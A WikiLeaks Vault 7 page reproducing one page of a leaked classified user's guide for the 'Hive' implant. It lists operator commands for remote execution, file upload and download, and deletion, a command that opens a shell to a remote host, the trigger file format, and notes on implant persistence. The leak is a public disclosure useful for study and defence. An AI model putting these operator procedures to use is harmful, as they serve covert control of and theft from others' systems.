WikiLeaks - Vault 7: Projects

# Vault 7: Projects

This publication series is about specific projects related to the Vault 7 main publication.

### Hive

# Users Guide

9 November, 2015

- 1
- 2
…
- 16
- 17
- 18
- 19
- 20
…
- 30
- 31

SECRET//NOFORN
(U) Deployment (U) Hive 2.9.1 User's Guide
(S) Examples of command usage:
[10.2.5.22]> cmd exec “/path/to/file arg1 arg2”
[10.2.5.22]> file delete /path/to/file
[10.2.5.22]> file get /path/to/remote/file /path/to/local/file
[10.2.5.22]> file put /path/to/local/file /path/to/remote/file
[10.2.5.22]> ilm trigger /name/of/trigger/file
[10.2.5.22]> ilm exit
[10.2.5.22]> shutdown now
[10.2.5.22]> shell open 192.168.1.100 4444 Password1
3.4.1.2 (S) ILM Trigger File Format
(S) When a trigger file is created the trigger parameters are inserted on a single line separated by a
'|' character between each field. This file can be easily edited for making changes to a trigger, or
copied and edited to create additional triggers.
(S) A sample trigger file is looks like this:
10.3.2.141|4567|10.2.5.99|keyphrase||raw-tcp|22
(S) The listener's IP address is 10.3.2.141, listening on port number 4567. The implant is running
on a target host with an IP address of 10.2.5.99. This is followed by two fields, one of which will be
empty. The first holds the trigger key phrase (“keyphrase”), the second for a file name that holds a
key. If a key file was used to store the key, the line would look like this:
10.3.2.141|4567|10.2.5.99||keyfilename|raw-tcp|22
(S) A raw-tcp protocol type will be used to trigger the implanted device. The last parameter, 22, is
the port number to which the trigger is sent.
3.4.2 (S) Client Operational Notes
(S) The following topics are common to both hclient and ILM clients.
3.4.2.1 (S) File Deletion
(S) By default, the delete command will attempt a secure delete and overwrite the named file with
zeros before deletion. If the secure delete fails, it will return an “unsuccessful” status to the Hive
client. If the secure delete fails, the operator should then try to issue a “rm -f <filename>”
command using exec or cmd exec.
3.4.2.2 (S) Default File Permissions
(S) On Linux, and MikroTik, files uploaded are written to the remote system with 644 permissions.
After uploading an executable, and before executing it, make the file executable by using Hive to
execute chmod a+x <filename>.
3.4.2.3 (S) Shutdown Command
(S) The shutdown command only causes the implant to stop running its current instance. This
means that when the target is rebooted, the implant will restart. The shutdown command does not
delete the implant or uninstall it from the boot-time start-up routines.
3.4.2.4 (S) Connection Timeouts
(S) Currently all versions are able to recover from the loss of connection between implant and
client. This is achieved by Hive spawning off a separate process to handle each triggered
connection. This also allows multiple connections to the same implant. There are currently two
timeouts enabled on these connections. The first is a connect timeout. If a Hive implant is
unable to connect back to the client after 5 minutes, the connection will kill itself. Hive
14 SECRET//NOFORN//20401109

- 1
- 2
…
- 16
- 17
- 18
- 19
- 20
…
- 30
- 31